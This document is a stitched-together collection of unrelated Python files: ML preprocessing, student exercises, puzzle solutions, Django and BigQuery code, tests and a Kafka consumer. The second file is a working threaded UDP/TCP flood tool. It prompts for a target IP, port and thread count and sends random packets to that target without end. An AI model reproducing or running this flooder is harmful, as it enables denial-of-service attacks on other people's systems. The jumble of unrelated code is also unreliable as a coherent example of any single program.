import os
import csv
import json
import pickle
import random
from tensor2tensor.data_generators import text_encoder

'''
Description: Creates a pickle file with each entry in the dict indexed by proj_id, dir_id, file_id and the key contains contents of the full file.
Creates a csv file for use in data iterator where each row of the csv consists of one file
'''
#base directory path
base_dir = './'

base_data_dir = os.path.join(base_dir, 'Preprocessed_Data')

subword_vocab_filename = os.path.join(base_data_dir, 'subword_vocab.txt')
token_dict_filename = os.path.join(base_data_dir, 'token_vocab.dict')

end_of_token_index = 1 # index in the subtoken vocab of <EOT>
epsilon = 1e-5
random.seed(42)
encoder = text_encoder.SubwordTextEncoder(subword_vocab_filename)
token_dict = pickle.load(open(token_dict_filename, 'rb'))

def get_dir_dict(data, proj_id, dir_id):
  dir_dict = {}
  for j in range(len(data[proj_id][dir_id])):
    file_subtoken_string, file_dict = data[proj_id][dir_id][j]
    if file_subtoken_string:
      for ent in file_dict:
        token = file_dict[ent][0]
        #Count frequency in project
        if token in dir_dict:
          dir_dict[token]+= 1.0
        else:
          dir_dict[token] = 1.0

  #project_dict = {k: v / total for total in (sum(project_dict.values()),) for k, v in project_dict.items()}
  return dir_dict

def create_file_DS(data_json_filename, ds_filename):
  basic_DS = {}
  data = json.loads(open(data_json_filename, encoding='utf-8', errors='backslashreplace').read())
  for i in range(len(data)):
    print("Project: ", str(i))
    proj_id = int(data[i]['project_index'])
    directories = data[i]['directories']
    basic_DS[proj_id] = {}
    for j in range(len(directories)):
      dir_id = int(directories[j]['directory_index'])
      basic_DS[proj_id][dir_id] = {}
      files = directories[j]['files']
      for k in range(len(files)):
        doc_string = ''
        file_subword_indices = []
        end_of_line_indices = []
        token_subword = {}
        file_dict = {}
        file_id = int(files[k]['file_index'])
        lines = files[k]['lines']
        for l in range(len(lines)):
          tokens = lines[l]['tokens'].strip().split() #For 1% corpus formed by using jsondumps
          token_types = lines[l]['token_types'].strip().split()
          subword_id_ranges = []
          entries = 0
          for t in range(len(token_types)):
            token = tokens[t]
            token_type = token_types[t]
            if token_type == 'STRINGLITERAL':
              for tt in range(t, len(tokens)):
                if tokens[tt].endswith("\"") or tokens[tt].endswith("\'"):
                  token = ' '.join(tokens[t:tt+1])
                  break
            init_length = len(file_subword_indices)
            subword_tokens = encoder.encode_without_tokenizing(token)
            if len(subword_tokens)> 20:
              continue
            subword_id_range = (init_length,init_length+len(subword_tokens)+1)
            if subword_id_range not in file_dict:
              file_dict[subword_id_range] = []
            if token in token_dict:
              file_dict[subword_id_range].append(token)
              file_dict[subword_id_range].append(token_types[t])
              file_dict[subword_id_range].append(token_dict[token])
            else:
              file_dict[subword_id_range].append(token)
              file_dict[subword_id_range].append(token_types[t])
              file_dict[subword_id_range].append(0.0)

            for s in subword_tokens:
              file_subword_indices.append(s)

            file_subword_indices.append(end_of_token_index)
            entries+=1
            subword_id_ranges.append(subword_id_range)

          for entry in subword_id_ranges:
              file_dict[entry].append(len(file_subword_indices))

        basic_DS[proj_id][dir_id][file_id] = (file_subword_indices, file_dict)

  with open(ds_filename, 'wb') as f:
  	pickle.dump(basic_DS, f)

def store_file_episodes(ds_filename, csv_filename):
  data = pickle.load(open(ds_filename, 'rb'))
  episodes_list = []
  for i in range(len(data)):
    print("Project: ", str(i))
    for j in range(len(data[i])):
      dir_dict = get_dir_dict(data, i, j)
      for k in range(len(data[i][j])):
        file_target_holes = []
        file_subtoken_string, file_dict = data[i][j][k]
        if file_subtoken_string:
          for ent in file_dict:
            subtoken_id_range = ent
            if subtoken_id_range[1] - subtoken_id_range[0] > 20:
              continue
            token = file_dict[ent][0]
            token_type = file_dict[ent][1]
            vocab_count = file_dict[ent][2]
            end_of_line_index = file_dict[ent][3]
            dir_count = dir_dict[token]
            if vocab_count ==0.0:
              vocab_count = epsilon
            hole_str = str(subtoken_id_range[0])+'%%'+str(subtoken_id_range[1]) +'%%'\
                                            +str(end_of_line_index) +'%%'+token_type+'%%'\
                                            +str(vocab_count)+'%%'+str(dir_count)
            file_target_holes.append(hole_str) #position

        episodes_list.append([i, j, k, file_subtoken_string, file_target_holes])

  random.shuffle(episodes_list)
  with open(csv_filename, 'w', encoding='utf-8') as csvfile:
    writer = csv.writer(csvfile)
    for entry in episodes_list:
      writer.writerow(entry)

if __name__== "__main__":

  #Write train basic_dict data and episodes csv file
  ds_filename = os.path.join(base_data_dir, 'basic_DS_dict.train')
  data_json_filename = os.path.join(base_data_dir, 'data_train.json')
  csv_filename = os.path.join(base_data_dir, 'episodes_train.csv')
  print("Preprocessing train episodes...")
  create_file_DS(data_json_filename, ds_filename)
  print("Writing train episodes...")
  store_file_episodes(ds_filename, csv_filename)

  #Write val basic_dict data and episodes csv file
  ds_filename = os.path.join(base_data_dir, 'basic_DS_dict.val')
  data_json_filename = os.path.join(base_data_dir, 'data_val.json')
  csv_filename = os.path.join(base_data_dir, 'episodes_val.csv')
  print("Preprocessing val episodes...")
  create_file_DS(data_json_filename, ds_filename)
  print("Writing val episodes...")
  store_file_episodes(ds_filename, csv_filename)

  #Write test basic_dict data and episodes csv file
  ds_filename = os.path.join(base_data_dir, 'basic_DS_dict.test')
  data_json_filename = os.path.join(base_data_dir, 'data_test.json')
  csv_filename = os.path.join(base_data_dir, 'episodes_test.csv')
  print("Preprocessing test episodes...")
  create_file_DS(data_json_filename, ds_filename)
  print("Writing test episodes...")
  store_file_episodes(ds_filename, csv_filename)


import random

import socket

import threading

import os

os.system("clear")

print("--------------------------------")

print("Author By 𝑻•𝑹𝒆𝒙#0029")

print("My Team REX RIOT COMMUNITY")

print("Jangan Abuse Ngab")

print("--------------------------------")

ip = str(input("Ip  >>>::"))

port = int(input("Port  >>>:"))

choice = str(input("Gas Gak? (y/n) >>>:"))

times = int(input("Packets  >>>:"))

threads = int(input("Threads  >>>:"))

def run():

    data = random._urandom(1159)

    i = random.choice(("[𝒙]","[𝒙]","[𝒙]"))

    while True:

        try:

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

            addr = (str(ip),int(port))

            for x in range(times):

                s.sendto(data,addr)

            print(i +"Samlekom Paket Mang !!!")

        except:

            print("[!] Waduh Down !!!")

def run2():

    data = random._urandom(16)

    i = random.choice(("[𝒙]","[𝒙]","[𝒙]"))

    while True:

        try:

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.connect((ip,port))

            s.send(data)

            for x in range(times):

                s.send(data)

            print(i +" T-Rex nih bos!!!")

        except:

            s.close()

            print("[*] Waduh Down !!!")

for y in range(threads):

    if choice == 'y':

        th = threading.Thread(target = run)

        th.start()

    else:

        th = threading.Thread(target = run2)

        th.start()


# NIM/Nama	: 16520299/Malik Akbar Hashemi Rafsanjani
# Nama file	: jumlahderet.py
# Topik		: Review Prosedural dengan Bahasa Python
# Tanggal	: 2 April 2021
# Deskripsi	: Program yang membaca sebuah integer N (asumsi N > 0 dan ganjil),
#           dan menuliskan hasil perhitungan deret: 1+3+ ... +N.

# KAMUS
# N : integer

# ALGORITMA
def deret(N):
    if N == 1:
        return 1
    else:
        return (N + deret(N-2))

N = int(input())

print(deret(N))


# -*- coding: utf-8 -*-

import random

import faker
import nest_asyncio
import pytest

from bildungslogin_plugin.models import Class, SchoolContext, Workgroup
from bildungslogin_plugin.routes.v1.users import DbBackend, User

fake = faker.Faker()
# pytest event loop is already running: https://github.com/encode/starlette/issues/440
nest_asyncio.apply()  # patches asyncio to allow nested use of asyncio.run and loop.run_until_complete

@pytest.mark.asyncio
async def test_routes_v1_users_get(client, fake_db_backend, set_the_backend):
    """Test that the REST API returns for a User-ID a JSON-Object."""
    def _get_licenses():
        return fake.words(nb=3, unique=True)

    user = User(
        id=fake.uuid4(),
        first_name=fake.first_name(),
        last_name=fake.last_name(),
        licenses=_get_licenses(),
        context={
            ou: SchoolContext(
                school_authority=None,
                school_code=fake.unique.word(),
                school_identifier=None,
                school_name=fake.unique.word(),
                licenses=_get_licenses(),
                classes=[Class(name=n,
                               id="".join(reversed(n)),
                               licenses=_get_licenses())
                         for n in fake.words(nb=3, unique=True)],
                workgroups=[Workgroup(name=n,
                                      id="".join(reversed(n)),
                                      licenses=_get_licenses())
                         for n in fake.words(nb=3, unique=True)],
                roles=[random.choice(("staff", "student", "teacher"))],
            )
            for ou in fake.words(nb=3, unique=True)
        },
    )
    backend: DbBackend = fake_db_backend()
    backend._user = user
    await set_the_backend(backend)
    response = client.get(f"/v1/user/{user.id}")
    assert response.status_code == 200
    assert User(**response.json()) == user

@pytest.mark.asyncio
async def test_missing_plugin_initialization(client, set_the_backend):
    await set_the_backend(None)
    with pytest.raises(RuntimeError):
        client.get(f"/v1/user/{fake.uuid4()}")


import pickle
import numpy as np
import matplotlib.pyplot as plt
from scipy import fftpack
import random

with open('data_tmp/train/cement/2022-03-14-17-36-52.pkl', 'rb') as f:
	cement_data = pickle.load(f)

with open('data_tmp/train_cache/speedway/2022-03-29-18-56-30.pkl', 'rb') as f:
	speedway_data = pickle.load(f)

with open('data_tmp/train_cache/grass/2022-03-14-18-45-10.pkl', 'rb') as f:
	grass_data = pickle.load(f)

with open('data_tmp/train/smallrocks/2022-03-15-10-15-27.pkl', 'rb') as f:
	smallrocks_data = pickle.load(f)

rangeval = list(range(300, min(len(cement_data), len(speedway_data), len(grass_data))-75))
# randomize list
random.shuffle(rangeval)

for i in rangeval:
	cement_freq = np.abs(fftpack.fft(cement_data[i]['linear_velocity'][-26:, 0]))
	cement_freq = cement_freq[len(cement_freq)//2:]
	speedway_freq = np.abs(fftpack.fft(speedway_data[i]['linear_velocity'][-26:, 0]))
	speedway_freq = speedway_freq[len(speedway_freq)//2:]
	grass_freq = np.abs(fftpack.fft(grass_data[i]['linear_velocity'][-26:, 0]))
	grass_freq = grass_freq[len(grass_freq)//2:]
	smallrocks_freq = np.abs(fftpack.fft(smallrocks_data[i]['linear_velocity'][-26:, 0]))
	smallrocks_freq = smallrocks_freq[len(smallrocks_freq)//2:]

	print('cement : ', np.sum(cement_freq))
	print('speedway : ', np.sum(speedway_freq))
	print('grass : ', np.sum(grass_freq))
	print('smallrocks : ', np.sum(smallrocks_freq))
	print('\n')

	plt.plot(cement_freq, label='cement')
	plt.plot(speedway_freq, label='speedway')
	plt.plot(grass_freq, label='grass')
	plt.plot(smallrocks_freq, label='smallrocks')
	plt.legend()
	plt.show()

	# plt.figure()
	# plt.plot(cement_data[i]['linear_velocity'][-26:, 2], label='cement')
	# plt.plot(speedway_data[i]['linear_velocity'][-26:, 2], label='speedway')
	# plt.plot(grass_data[i]['linear_velocity'][-26:, 2], label='grass')
	# plt.plot(smallrocks_data[i]['linear_velocity'][-26:, 2], label='smallrocks')
	# plt.legend()
	# plt.show()

	input()


import datetime

class Computer:
    # records of results
    records = []

    # Constructor for loading results from file
    def __init__(self, path):
        self.pushResultsData(path)
        self.log("Computer was created")

    # Prints content with current time
    def log(self, content):
        time = datetime.datetime.now()
        print("# " + str(time) + " # " + content)

    # Add two numbers
    def plus(self, numeral1, numeral2):
        outcome = numeral1 + numeral2
        self.log('outcome of plus is ' + str(outcome))
        self.pushResult(outcome)
        return outcome

    # Substracts two numbers
    def minus(self, numeral1, numeral2):
        outcome = numeral1 - numeral2
        self.log('outcome of minus is ' + str(outcome))
        self.pushResult(outcome)
        return outcome

    # Multiplies two numbers
    def multiply(self, numeral1, numeral2):
        outcome = numeral1 * numeral2
        self.log('outcome of multiply is ' + str(outcome))
        self.pushResult(outcome)
        return outcome

    # Divides two numbers
    def divide(self, numeral1, numeral2):
        outcome = numeral1 / numeral2
        self.log('outcome of divide is ' + str(outcome))
        self.pushResult(outcome)
        return outcome

    # Adds outcome to records array
    def pushResult(self, element):
        self.records.append(element)

    # log the whole records
    def logResults(self):
        for outcome in self.records:
            self.log(str(outcome))

    # Compare two numbers
    def comparisonNumerals(self, numeral1,  numeral2):
        if numeral1 > numeral2:
            self.log(str(numeral1) + " is bigger than " + str(numeral2))
        elif numeral2 > numeral1:
            self.log(str(numeral1) + " is smaller than " + str(numeral2))
        else:
            self.log(str(numeral1) + " is the same as " + str(numeral2))

    # Adds  results  to records
    def pushResultsData(self, path):
        try:
            data = open(path)
            row = data.row()
            while row != None:
                self.pushResult(row)
                row = data.row()
            data.close()
            self.log("records from file was loaded!")
        except Exception:
            self.log("File could not be loaded! Because:" + str(Exception))

    # Returns if numeral is odd
    def uneven(self, numeral):
        booleanUneven = numeral / 2 != 0
        if booleanUneven:
            self.log(str(numeral) + " is odd!")
            return True
        if not booleanUneven:
            self.log(str(numeral) + " is not odd!")
            return False


from google.cloud import bigquery

from .bigquery_schema import transform_table_schema
from .bigquery_utils import (
    create_dataset_with_location,
    create_table_with_schema,
    delete_table,
    get_dataset_location,
    get_dataset_table_names,
    get_table_schema,
    insert_query_result_to_table,
    rename_table,
)
from .m_files_transform import transform_json_column_to_tables
from .utils import convert_to_snake_case, get_unique_temp_table_name

# TODO: instead of looking at dataset name this should be able to get source system name.
def are_subtables_enabled(source_dataset_id):
    return True

# TODO: instead of looking at dataset name this should be able to get source system name.
def _should_unnest_objects(source_dataset_id):
    # Disable unnesting objects from HubSpot because Airbyte connector already
    # does it (https://docs.airbyte.com/integrations/sources/hubspot#unnesting-top-level-properties).
    return "hub" not in source_dataset_id

def transform_dataset(
    client: bigquery.Client,
    project_id: str,
    source_dataset_id: str,
    destination_dataset_id: str,
    table_prefix: str,
):
    # Create destination dataset with source dataset's location.
    source_location = get_dataset_location(client, project_id, source_dataset_id)
    create_dataset_with_location(
        client, project_id, destination_dataset_id, source_location
    )

    for source_table_name in get_dataset_table_names(
        client, project_id, source_dataset_id
    ):
        transform_table(
            client,
            project_id,
            source_dataset_id,
            destination_dataset_id,
            source_table_name,
            table_prefix,
        )

def transform_table(
    client: bigquery.Client,
    project_id: str,
    source_dataset_id: str,
    destination_dataset_id: str,
    source_table_name: str,
    table_prefix: str,
):
    table_mappings = []

    try:
        # Create and populate temp tables.
        for destination_table_spec in _iter_destination_table_specs(
            client,
            project_id,
            source_dataset_id,
            source_table_name,
            destination_dataset_id,
        ):
            destination_table_name = f"{table_prefix}__{destination_table_spec['name']}"
            temp_destination_table_name = get_unique_temp_table_name(
                destination_table_name
            )
            table_mappings.append((temp_destination_table_name, destination_table_name))
            _make_temp_destination_table(
                client,
                project_id,
                destination_dataset_id,
                temp_destination_table_name,
                destination_table_spec,
            )

        _add_demo_tables(
            project_id,
            source_table_name,
            table_prefix,
            destination_dataset_id,
            client,
            source_dataset_id,
            source_table_name,
        )

        # Remove previous versions of the final tables.
        for _, destination_table_name in table_mappings:
            delete_table(
                client,
                project_id,
                destination_dataset_id,
                destination_table_name,
            )

        # Rename temp tables to be the latest final tables.
        # Note: This is done only after all tables have been removed (previous step),
        # to prevent a state, in which both old and new tables exist simultaneously.
        for temp_destination_table_name, destination_table_name in table_mappings:
            rename_table(
                client,
                project_id,
                destination_dataset_id,
                temp_destination_table_name,
                destination_table_name,
            )

        print(f"Table '{source_table_name}' transformed.")

    except Exception as e:
        # Remove temp tables on error. The final tables should be left unchanged.
        for temp_destination_table_name, _ in table_mappings:
            delete_table(
                client,
                project_id,
                destination_dataset_id,
                temp_destination_table_name,
            )

        print(f"Error processing table '{source_table_name}': {e}")
        raise e

def _iter_destination_table_specs(
    client,
    project_id,
    source_dataset_id,
    source_table_name,
    destination_dataset_id,
):
    source_schema = get_table_schema(
        client, project_id, source_dataset_id, source_table_name
    )
    should_unnest_objects = _should_unnest_objects(source_dataset_id)
    transformed_schema = transform_table_schema(
        source_schema,
        client,
        project_id,
        source_dataset_id,
        source_table_name,
        should_unnest_objects,
    )

    source_table_ref = f"{project_id}.{source_dataset_id}.{source_table_name}"

    # Main table.
    yield {
        "name": convert_to_snake_case(transformed_schema["table_name"]),
        "schema_list": transformed_schema["fields"],
        "query_select_list": transformed_schema["select_list"],
        "query_from": f"""
            `{source_table_ref}`
        """,
    }

    # Subtables.
    if are_subtables_enabled(source_dataset_id):
        for subtable_schema in transformed_schema["subtables"]:
            json_column_name = subtable_schema["json_column_name"]
            yield {
                "name": convert_to_snake_case(subtable_schema["table_name"]),
                "schema_list": subtable_schema["fields"],
                "query_select_list": subtable_schema["select_list"],
                "query_from": f"""
                    `{source_table_ref}`
                    CROSS JOIN UNNEST(JSON_EXTRACT_ARRAY(`{json_column_name}`)) AS array_item
                """,
            }

    # M-Files file content tables.
    if "m_files" in source_dataset_id and source_table_name == "objects_files_contents":
        yield from transform_json_column_to_tables(
            client,
            project_id,
            source_dataset_id,
            destination_dataset_id,
            source_table_name,
            ["ObjectType", "ObjectID", "FileID"],
            "FileName",
            "ContentJson",
        )

def _make_temp_destination_table(
    client,
    project_id,
    destination_dataset_id,
    temp_destination_table_name,
    destination_table_spec,
):
    create_table_with_schema(
        client,
        project_id,
        destination_dataset_id,
        temp_destination_table_name,
        schema=destination_table_spec["schema_list"],
    )
    query_select = ", \n".join(destination_table_spec["query_select_list"])
    query_from = destination_table_spec["query_from"]
    destination_table_query = f"""
        SELECT {query_select}
        FROM {query_from}
    """
    insert_query_result_to_table(
        client,
        project_id,
        destination_dataset_id,
        temp_destination_table_name,
        destination_table_query,
    )

def _add_demo_tables(
    project_id,
    table_name,
    table_prefix,
    destination_dataset_id,
    client,
    source_dataset_id,
    source_table_name,
):
    if not (
        project_id in ("quickbi-demoexte2168", "quickbi-eerontok6534")
        and table_name == "users"
    ):
        return

    transformed_schemas = [
        {
            "fields": [
                bigquery.SchemaField(
                    "instagram_business_account",
                    "STRING",
                    "NULLABLE",
                    None,
                    None,
                    (),
                    None,
                ),
                bigquery.SchemaField(
                    "page", "STRING", "REQUIRED", None, None, (), None
                ),
                bigquery.SchemaField(
                    "_row_extracted_at",
                    "TIMESTAMP",
                    "REQUIRED",
                    None,
                    None,
                    (),
                    None,
                ),
            ],
            "select_list": [
                "'quickbiofficial'",
                "'Quickbi'",
                "`_airbyte_extracted_at`",
            ],
            "subtables": [],
            "table_name": "business_accounts_and_linked_pages",
        },
        {
            "fields": [
                bigquery.SchemaField(
                    "facebook_page", "STRING", "REQUIRED", None, None, (), None
                ),
                bigquery.SchemaField(
                    "_row_extracted_at",
                    "TIMESTAMP",
                    "REQUIRED",
                    None,
                    None,
                    (),
                    None,
                ),
            ],
            "select_list": [
                "'Quickbi'",
                "`_airbyte_extracted_at`",
            ],
            "subtables": [],
            "table_name": "facebook_pages",
        },
    ]
    for transformed_schema in transformed_schemas:
        table_name_snake_case = convert_to_snake_case(transformed_schema["table_name"])
        table_name_final = f"{table_prefix}__{table_name_snake_case}"

        temp_table_name = get_unique_temp_table_name(table_name_final)
        create_table_with_schema(
            client,
            project_id,
            destination_dataset_id,
            temp_table_name,
            schema=transformed_schema["fields"],
        )
        source_table_ref = f"{project_id}.{source_dataset_id}.{source_table_name}"
        select_list_str = ", \n".join(transformed_schema["select_list"])
        query = f"""
            SELECT
                {select_list_str}
            FROM `{source_table_ref}`
        """
        insert_query_result_to_table(
            client,
            project_id,
            destination_dataset_id,
            temp_table_name,
            query,
        )

        delete_table(
            client,
            project_id,
            destination_dataset_id,
            table_name_final,
        )
        rename_table(
            client,
            project_id,
            destination_dataset_id,
            temp_table_name,
            table_name_final,
        )


import json

def main():
    input_file = "igsr_samples.ndjson"
    samples = []
    for line in open(input_file, "r"):
        sample = json.loads(line.strip())
        samples.append(sample)

    attributes = [
        "sex",
        "population_code",
        "population_name",
        "superpopulation_code",
        "superpopulation_name"
    ]

    for attribute in attributes:
        unique_records = set([sample[attribute] for sample in samples])
        print("%s unique records in %s" % (str(len(unique_records)), attribute))
        print(unique_records)
        print("")

if __name__ == "__main__":
    main()


#
# @lc app=leetcode.cn id=152 lang=python3
#
# [152] 乘积最大子数组
#
# %%
# @lc code=start
class Solution:
    def maxProduct(self, nums) -> int:
        pos, neg = nums.copy(), nums.copy()
        for i, num in enumerate(nums):
            if i > 0:
                pos[i] = max(pos[i], 0, pos[i-1]*num, neg[i-1]*num)
                neg[i] = min(neg[i], 0, pos[i-1]*num, neg[i-1]*num)
        return max(pos)
# @lc code=end
# %%

152.乘积最大子数组.py

152.乘积最大子数组.py


"""
Day 14: Disk Defragmentation
"""
from solution_base import SolutionBase
import day10

knot_hash = day10.Solution.part2
GRID_SIZE = 128

class Solution(SolutionBase):
    day = 14

    @staticmethod
    def process_input(input_raw):
        key = input_raw
        grid = []

        for row in range(GRID_SIZE):
            hash_input = f'{key}-{row}'
            row_hash = knot_hash(hash_input)
            bits = bin(int(row_hash, 16))[2:].zfill(GRID_SIZE)
            grid.append([int(bit) for bit in bits])

        return grid

    @staticmethod
    def part1(grid):
        return sum(row.count(1) for row in grid)

    @staticmethod
    def part2(grid):
        visited = set()
        group_count = 0

        for row in range(GRID_SIZE):
            for col in range(GRID_SIZE):
                if grid[row][col] == 1 and (row, col) not in visited:
                    Solution._traverse_group(grid, visited, (row, col))
                    group_count += 1

        return group_count

    @staticmethod
    def _traverse_group(grid, visited, start_coords):
        stack = [start_coords]
        visited.add(start_coords)

        while stack:
            coords = stack.pop()
            for row, col in Solution._neighbors(coords):
                if grid[row][col] == 1 and (row, col) not in visited:
                    visited.add((row, col))
                    stack.append((row, col))

    @staticmethod
    def _neighbors(coords):
        row, col = coords
        if row > 0:
            yield (row - 1, col)
        if row < GRID_SIZE - 1:
            yield (row + 1, col)
        if col > 0:
            yield (row, col - 1)
        if col < GRID_SIZE - 1:
            yield (row, col + 1)

if __name__ == '__main__':
    Solution.main()


#!/usr/bin/env python
from array import array
import ROOT
from ROOT import gROOT
from ROOT import TFile, TH2F
gROOT.SetBatch()

infile = TFile.Open("2014-10-21_selection_noRegression_noMassCut_v17/Data_noRegression_noMassCut_controlSample_v17.root")
intree = infile.Get("Data")
outfile = TFile("2014-10-21_selection_noRegression_noMassCut_v17/Data_noRegression_noMassCut_controlSampleWeighted_v17.root", "RECREATE")

intree.SetBranchStatus("*", 1)
intree.SetBranchStatus("evweight_w_btagSF", 0)
outtree = intree.CloneTree(0)
weight = array('f', [1.])
outtree.Branch("evweight_w_btagSF", weight, "evweight_w_btagSF/F")

csWeightFile = TFile.Open("scales_2D_pt_data_4GeVbinning.root");
h2D_pt_data = csWeightFile.Get("h2D_pt_data");

for ievt in xrange(intree.GetEntries()):
    intree.GetEntry( ievt )
    weight[0] = h2D_pt_data.GetBinContent(h2D_pt_data.FindBin(intree.pho2_pt, intree.pho1_pt))
    outtree.Fill()

outfile.cd()
outtree.Write()
outfile.Close()
infile.Close()
csWeightFile.Close()


from .views import *
from django.urls import path

urlpatterns = [
    path('',Homepage.as_view({
        'get':'list'
    }), name='home'),
    path('login/',LoginView.as_view({
        'post':'create'
    }),name='login'),
    path('survey/',SurveyView.as_view({
        'get':'list',
        'post':'create'
    }),name='survey'),
    path('survey/<int:survey_id>/',SurveyView.as_view({
        'get':'retrieve',
        'put':'update',
        'delete':'destroy'
    }), name='survey_detail'),
    path('question/',QuestionView.as_view({
        'get':'list',
        'post':'create'
    }),name='question'),
    path('question/<int:question_id>/',QuestionView.as_view({
        'get':'retrieve',
        'put':'update',
        'delete':'destroy'
    }),name='question_detail'),
    path('activesurveys/',SurveyViewForUser.as_view({
        'get':'list'
    }),name='active_surveys'),
    path('toanswer/<int:survey_id>/',AnswerView.as_view({
        'get':'list',
        'post':'create'
    })),
    path('my_answers/<int:user_id>/',AnswersView.as_view({
        'get':'list'
    }))
]


def preorder(a):
    if a != '.':
        preorders.append(a)
        preorder(tree[a][0])
        preorder(tree[a][1])

def inorder(a):
    if a != '.':
        inorder(tree[a][0])
        inorders.append(a)
        inorder(tree[a][1])

def postorder(a):
    if a != '.':
        postorder(tree[a][0])
        postorder(tree[a][1])
        postorders.append(a)

import sys
N = int(sys.stdin.readline())
tree = {}
preorders = []
inorders  = []
postorders = []

for _ in range(N):
    root, left, right = sys.stdin.readline().split()
    tree[root] = [left, right]

preorder('A'), inorder('A'), postorder('A')

print(*preorders, sep="")
print(*inorders, sep="")
print(*postorders, sep="")


from confluent_kafka import Consumer, KafkaError
import time

c = Consumer({'bootstrap.servers': "localhost:9092,localhost:9093",
              'group.id': 'mygroup-confluent',
              #"topic.auto.offset.reset": "earliest",
              #"topic.auto.commit.enable": "false",
              #"auto.commit.enable": "false",
              #"auto.offset.reset": "earliest",
              'default.topic.config': {'auto.offset.reset': 'earliest',
                                       "auto.commit.enable": "false",
                                       }})
c.subscribe(['test3'])
running = True
start = time.time()
while running:
    msg = c.poll()
    if not msg.error():
        print('message: %s' % msg.value().decode('utf-8'))
    elif msg.error().code() != KafkaError._PARTITION_EOF:
        print(msg.error())
        running = False
    end = time.time()
    if end - start >= 60:
        running = False
c.close()


from time import monotonic

from config_data import config
from modules import email_notify
from modules.logger_settings import logger
from modules.search_files import path_files_handler

@logger.catch
def main() -> None:
    logger.info('Starting script...')
    uptime = monotonic()
    result = path_files_handler(path=config.COMPRESS.get("img_path"))
    uptime = round(monotonic() - uptime, 2)
    final_message = f'Script finished. Compressed files: {result[1]}. ' \
                    f'Saved: {round(result[0], 2)} MB | Time: {uptime} seconds.'
    if len(result) > 2:
        logger.error('The storage is unavailable or something went wrong. Stopping...')
        logger.success(final_message)
        email_status = ['error', result[-1]]
    else:
        logger.success(final_message)
        email_status = ['success', None]
    email_notify.send_email(
        status=email_status[0], result=result + [uptime], error_msg=email_status[1]
    )

if __name__ == '__main__':
    main()


"""
    author = Muktevi Kiriti
"""

class InsertionSort:

    def sort(self, array):
        for i in range(0, len(array)):
            for j in range(i, len(array)):
                if array[i] > array[j]:
                    array.insert(i, array.pop(j))
        return array

if __name__ == "__main__":
    data = [7, 5, 1, 2, 6, 8, 10, 9, 100, 4, 3]
    bs = InsertionSort()
    print(bs.sort(data))


from .models import User_details,ActivityPeriod
def data_get():
    final_data = {
        "ok":"true"
    }
    data=User_details.objects.all()
    members=[]
    for row in data:
        id=row.user_id
        real_name=row.real_name
        tz=row.tz
        single_data={'id':id, 'real_name':real_name, 'tz':tz}
        activity_data=ActivityPeriod.objects.filter(user=row.id)
        activity_periods = []
        for column in activity_data:
            start_time = column.start_time
            end_time = column.end_time
            time_data = {'start_time':start_time,"end_time":end_time}
            activity_periods.append(time_data)
        single_data.update({'activity_periods':activity_periods})
        members.append(single_data)
    final_data.update({'members':members})
    return final_data


import pprint
pp = pprint.PrettyPrinter(indent=2)

import functools

#file = open('test','r')
file = open('data','r')

l = file.readline()
fish = [int(t) for t in l.split(',')]

cycle = 7
days = 256

@functools.lru_cache(maxsize=None)
def spawn_fish(f,days):
    if days < cycle: return 1

    first_born = days-f;
    kids = sum([spawn_fish(8, d-1) for d in range(first_born, 0, -cycle)])
    return kids +1

total = sum([spawn_fish(f,days) for f in fish])
print(total)


from django.shortcuts import render
from rest_framework.viewsets import ModelViewSet, ReadOnlyModelViewSet, GenericViewSet, ViewSet
from rest_framework import serializers
from consultas.serializers import  BasicQuerySerializer, MedidorDataSerializer, MedidorData
# Create your views here.
from .visordatostraficomadrid import api
from rest_framework.response import Response
from rest_framework.renderers import JSONRenderer

class basicQueryViewSet(ViewSet):
    serializer_class = MedidorDataSerializer

    # http://127.0.0.1:8000/query/?id_medidor=4418&year1=2017&month1=10&day1=1&hour1=0&year2=2017&month2=10&day2=30&hour2=0&format=json
    # http://127.0.0.1:8000/query/?id_medidor=4418&year1=2017&month1=10&day1=1&hour1=0&year2=2017&month2=10&day2=30&hour2=0&format=json
    def list(self, request):
        ### parse parameters ####
        print(request.query_params)
        _id_medidor = self.request.query_params.get('id_medidor', None)
        _year1 = self.request.query_params.get('year1', None)
        _month1 = self.request.query_params.get('month1', None)
        _day1 = self.request.query_params.get('day1', None)
        _hour1 = self.request.query_params.get('hour1', None)

        _year2 = self.request.query_params.get('year2', None)
        _month2 = self.request.query_params.get('month2', None)
        _day2 = self.request.query_params.get('day2', None)
        _hour2 = self.request.query_params.get('hour2', None)

        _by15minutes = self.request.query_params.get('by15minutes', False)

        if(_id_medidor==None  or _year1==None or _month1 == None or _day1 == None  or _hour1==None or _year2==None or _month2 == None or _day2 == None  or _hour2==None  ):
            return Response({'error': "mising input parameter"})

        _id_medidor=int(_id_medidor)
        _year1=int(_year1)
        _month1=int(_month1)
        _day1=int(_day1)
        _hour1=int(_hour1)
        _year2=int(_year2)
        _month2=int(_month2)
        _day2=int(_day2)
        _hour2=int(_hour2)
        ### ACTUAL QUERY ####
        #resultstr, medidor_id = api.medidorPeriodo(4418, 2017, 10, 1, 0, 2017, 10, 4, 0, False)
        _by15minutes=bool(_by15minutes)
        resultstr, medidor_id = api.medidorPeriodo(_id_medidor, _year1, _month1, _day1, _hour1, _year2, _month2, _day2, _hour2, _by15minutes)
#outputStr += (f"El medidor {medidor3} el día {j[3]} del mes {j[2]} del año {j[1]} a las {j[4]} horas y {j[5]} minutos tuvo unas mediciones de {j[7]} intensidad, {j[8]} ocupación, {j[9]} carga y {j[10]} velocidad media")
        serializedobjects=[]
        for j in resultstr:
            line = MedidorData( medidor_id,j[3],j[2],j[1],j[4],j[5],j[7],j[8],j[9],j[10] )
            serializedline=MedidorDataSerializer(line)
            serializedobjects.append(serializedline.data)

        #print (resultstr)
        #jsonresponse+=json
        return Response({'result': serializedobjects})


import json

class Table(object):
    def __init__(self, name, fields, row_count):
        self.name = name
        self.fields = fields
        self.row_count = row_count

    def to_json(self):
        fields_list = [field.to_json() for field in self.fields]
        table_dict = {
            "name": self.name,
            "fields": fields_list,
            "count": self.row_count
        }
        return json.dumps(table_dict)

class Field(object):
    def __init__(self, id, ctype, name_of_sheet=None, name_of_db=None):
        self.id = id
        self.name_of_sheet = name_of_sheet
        self.name_of_db = name_of_db.replace(r'\s+', "_")
        self.ctype = ctype

    def to_json(self):
        return{
            "id": self.id,
            "nameOfSheet": self.name_of_sheet,
            "nameOfDatabase": self.name_of_db,
            "type": self.ctype,
        }

